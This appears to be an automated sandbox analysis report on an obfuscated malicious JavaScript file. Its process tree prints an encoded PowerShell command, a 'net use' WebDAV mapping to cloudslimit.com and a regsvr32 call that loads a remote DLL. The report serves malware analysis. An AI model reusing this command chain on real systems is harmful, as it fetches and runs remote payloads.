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Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21/08/2024, 14:36

General

  • Target

    a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js

  • Size

    13KB

  • MD5

    308a839d446d5c21b38e79e6f42d3f20

  • SHA1

    047d24c6d57f8887ac3e2f6929f7a903503fe803

  • SHA256

    a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab

  • SHA512

    c61a00d3c6ba9490fa17d26803c99ddd8b96867a197c7c5f0e64dac2ccc97ebfe0c11bedea9c68e513e84103ae72fe51999b6d054cf2de81ce66ebca06c004c2

  • SSDEEP

    96:N6Nt7yRlQNrAIURImLXIsYoGqM7mPaL04eznA2nqMnhGMn7nnG14xD4RxePnyEtT:kT7+lQ+IUGc7Hv57nXL9C79A6FM8H5i

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANAAyADMAMQA1ADYAMQA5ADIAMwA0ADgANQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2644
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\294231561923485.dll
          3⤵
            PID:2696

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2068-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

        Filesize

        4KB

      • memory/2068-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

        Filesize

        32KB

      • memory/2068-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

        Filesize

        2.9MB

      • memory/2068-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

        Filesize

        9.6MB

      • memory/2068-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

        Filesize

        9.6MB

      • memory/2068-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

        Filesize

        9.6MB

      • memory/2068-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

        Filesize

        9.6MB